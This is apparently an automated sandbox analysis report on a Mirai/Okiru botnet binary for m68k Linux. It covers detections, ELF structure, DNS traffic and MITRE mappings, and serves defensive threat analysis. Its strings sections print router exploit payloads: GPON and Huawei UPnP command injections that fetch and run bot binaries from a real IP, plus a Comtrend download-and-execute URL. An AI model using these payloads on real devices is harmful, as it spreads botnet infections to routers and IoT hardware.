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Linux Analysis Report
Yboats.m68k.elf

Overview

General Information

Sample name:	Yboats.m68k.elf
Analysis ID:	1594274
MD5:	7dee212cd055d7c3849195f3fd355f1b
SHA1:	57861cafc8b7d5d2be061b760454ed8182b034ba
SHA256:	49fd75cc934618bbe1ecd94c4eb2d65089cb79ca2be387aa87de24fe350a98c5
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Okiru

Sample deletes itself

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1594274
Start date and time:	2025-01-18 18:01:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Yboats.m68k.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/0@2/0

Warnings

VT rate limit hit for: http://159.223.45.59/Yboats.arm7;chmod
VT rate limit hit for: http://159.223.45.59/Yboats.x86
VT rate limit hit for: http://159.223.45.59/adb;
VT rate limit hit for: http://159.223.45.59/comtrend%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
VT rate limit hit for: http://159.223.45.59/gpon443

Runtime Messages

Command:	/tmp/Yboats.m68k.elf
PID:	5531
Exit Code:	136
Exit Code Info:	SIGFPE (8) Floating-point exception
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 8 (Floating point exception) - core dumped

Process Tree

system is lnxubuntu20

Yboats.m68k.elf (PID: 5531, Parent: 5452, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/Yboats.m68k.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Yboats.m68k.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Yboats.m68k.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Yboats.m68k.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Yboats.m68k.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Yboats.m68k.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1d254:$x2: /bin/busybox chmod 777 * /tmp/ 0x1cfbf:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
5531.1.00007f543c001000.00007f543c021000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5531.1.00007f543c001000.00007f543c021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5531.1.00007f543c001000.00007f543c021000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5531.1.00007f543c001000.00007f543c021000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5531.1.00007f543c001000.00007f543c021000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1d254:$x2: /bin/busybox chmod 777 * /tmp/ 0x1cfbf:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: Yboats.m68k.elf PID: 5531	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: Yboats.m68k.elf PID: 5531	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Yboats.m68k.elf PID: 5531	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: Yboats.m68k.elf PID: 5531	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Click to see the 4 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Yboats.m68k.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: Yboats.m68k.elf	Virustotal: Detection: 63%			Perma Link
Source: Yboats.m68k.elf	ReversingLabs: Detection: 65%

Source: /tmp/Yboats.m68k.elf (PID: 5531)

Socket: 127.0.0.1:39148

Jump to behavior

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: Yboats.m68k.elf	String found in binary or memory: http://159.223.45.59/Yboats.arm7;chmod
Source: Yboats.m68k.elf	String found in binary or memory: http://159.223.45.59/Yboats.mips
Source: Yboats.m68k.elf	String found in binary or memory: http://159.223.45.59/Yboats.mips;
Source: Yboats.m68k.elf	String found in binary or memory: http://159.223.45.59/Yboats.mpsl;chmod
Source: Yboats.m68k.elf	String found in binary or memory: http://159.223.45.59/Yboats.x86
Source: Yboats.m68k.elf	String found in binary or memory: http://159.223.45.59/adb;
Source: Yboats.m68k.elf	String found in binary or memory: http://159.223.45.59/comtrend%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
Source: Yboats.m68k.elf	String found in binary or memory: http://159.223.45.59/gpon443
Source: Yboats.m68k.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: Yboats.m68k.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Yboats.m68k.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: Yboats.m68k.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5531.1.00007f543c001000.00007f543c021000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://159.223.45.59/gpon443+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 159.223.45.59 -l /tmp/.ybot -r Yboats.mips; /bin/busybox chmod 777 * /tmp/.ybot; /tmp/.ybot huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://159.223.45.59/gpon443+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /HNAP1/ HTTP/1.0
Source: Initial sample	String containing 'busybox' found: var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/SofiasshdbashhttpdtelnetddropbearencodersystemYbot/root/dvr_gui//root/dvr_app//anko-app//opt/,

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Yboats.m68k.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5531.1.00007f543c001000.00007f543c021000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/0@2/0

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/Yboats.m68k.elf (PID: 5531)

File: /tmp/Yboats.m68k.elf

Jump to behavior

Source: /tmp/Yboats.m68k.elf (PID: 5531)

Queries kernel information via 'uname':

Jump to behavior

Source: Yboats.m68k.elf, 5531.1.000055c4c6e4a000.000055c4c6ecf000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: Yboats.m68k.elf, 5531.1.00007fff779ff000.00007fff77a20000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: Yboats.m68k.elf, 5531.1.000055c4c6e4a000.000055c4c6ecf000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: Yboats.m68k.elf, 5531.1.00007fff779ff000.00007fff77a20000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 8 (Floating point exception) - core dumped
Source: Yboats.m68k.elf, 5531.1.00007fff779ff000.00007fff77a20000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/Yboats.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Yboats.m68k.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: Yboats.m68k.elf, type: SAMPLE
Source: Yara match	File source: 5531.1.00007f543c001000.00007f543c021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Yboats.m68k.elf PID: 5531, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: Yboats.m68k.elf, type: SAMPLE
Source: Yara match	File source: 5531.1.00007f543c001000.00007f543c021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Yboats.m68k.elf PID: 5531, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: Yboats.m68k.elf, type: SAMPLE
Source: Yara match	File source: 5531.1.00007f543c001000.00007f543c021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Yboats.m68k.elf PID: 5531, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: Yboats.m68k.elf, type: SAMPLE
Source: Yara match	File source: 5531.1.00007f543c001000.00007f543c021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Yboats.m68k.elf PID: 5531, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Yboats.m68k.elf	63%	Virustotal		Browse
Yboats.m68k.elf	66%	ReversingLabs	Linux.Trojan.Mirai
Yboats.m68k.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://159.223.45.59/gpon443	Yboats.m68k.elf	false	unknown
http://159.223.45.59/Yboats.arm7;chmod	Yboats.m68k.elf	false	unknown
http://159.223.45.59/adb;	Yboats.m68k.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	Yboats.m68k.elf	false	high
http://159.223.45.59/Yboats.x86	Yboats.m68k.elf	false	unknown
http://159.223.45.59/comtrend%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114	Yboats.m68k.elf	false	unknown
http://159.223.45.59/Yboats.mpsl;chmod	Yboats.m68k.elf	false	unknown
http://purenetworks.com/HNAP1/	Yboats.m68k.elf	false	high
http://159.223.45.59/Yboats.mips	Yboats.m68k.elf	false	unknown
http://159.223.45.59/Yboats.mips;	Yboats.m68k.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	Yboats.m68k.elf	false	high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	Yboats.arm.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	Yboats.mips.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	loki.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	dbg.x86.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	I586.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	ARMV4L.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	ARMV6L.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	MIPSEL.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	ARMV5L.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.498627791579188
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Yboats.m68k.elf
File size:	131'636 bytes
MD5:	7dee212cd055d7c3849195f3fd355f1b
SHA1:	57861cafc8b7d5d2be061b760454ed8182b034ba
SHA256:	49fd75cc934618bbe1ecd94c4eb2d65089cb79ca2be387aa87de24fe350a98c5
SHA512:	f40a2628105c681cf4a401e0ed58a65f18eb8cd505cf5608e462815aef04207ae4fe775281c64fce5dd6b13bd99dcc88e8a8fc002a65b96968c7918e5a347228
SSDEEP:	3072:969vqDQz5/MgP8EnYwyIp4kz4IFGOLutHPvpzgEdJFc:0vqDQz5/MgP8EYZC4A7GOQPvpTdvc
TLSH:	2ED36D97B4019E3DF85ED27A81374A0DF021925866A2072BF367BC9BBC730A45F1EE45
File Content Preview:	.ELF.......................D...4.........4. ...(.................................. .......................+....... .dt.Q............................NV..a....da.....N^NuNV..J9.. df>"y.... QJ.g.X.#.....N."y.... QJ.f.A.....J.g.Hy....N.X....... dN^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	131236
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x1c606	0x0	0x6	AX	4
.fini	PROGBITS	0x8001c6ae	0x1c6ae	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8001c6bc	0x1c6bc	0x3524	0x0	0x2	A	2
.ctors	PROGBITS	0x80021be4	0x1fbe4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80021bec	0x1fbec	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80021bf8	0x1fbf8	0x46c	0x0	0x3	WA	4
.bss	NOBITS	0x80022064	0x20064	0x2688	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x20064	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x1fbe0	0x1fbe0	6.5181	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x1fbe4	0x80021be4	0x80021be4	0x480	0x2b08	3.5756	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 18, 2025 18:02:13.478430986 CET	37016	53	192.168.2.15	8.8.8.8
Jan 18, 2025 18:02:13.478430986 CET	57167	53	192.168.2.15	8.8.8.8
Jan 18, 2025 18:02:13.485377073 CET	53	37016	8.8.8.8	192.168.2.15
Jan 18, 2025 18:02:13.485435963 CET	53	57167	8.8.8.8	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 18, 2025 18:02:13.478430986 CET	192.168.2.15	8.8.8.8	0xdb6e	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 18, 2025 18:02:13.478430986 CET	192.168.2.15	8.8.8.8	0xeb09	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 18, 2025 18:02:13.485377073 CET	8.8.8.8	192.168.2.15	0xdb6e	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Jan 18, 2025 18:02:13.485377073 CET	8.8.8.8	192.168.2.15	0xdb6e	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: Yboats.m68k.elf PID: 5531, Parent PID: 5452

General

Start time (UTC):	17:02:11
Start date (UTC):	18/01/2025
Path:	/tmp/Yboats.m68k.elf
Arguments:	/tmp/Yboats.m68k.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report Yboats.m68k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: Yboats.m68k.elf PID: 5531, Parent PID: 5452

General

File Activities

File Opened

File Deleted

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Listening

Socket Connecting

Chronological Activities

Linux Analysis Report
Yboats.m68k.elf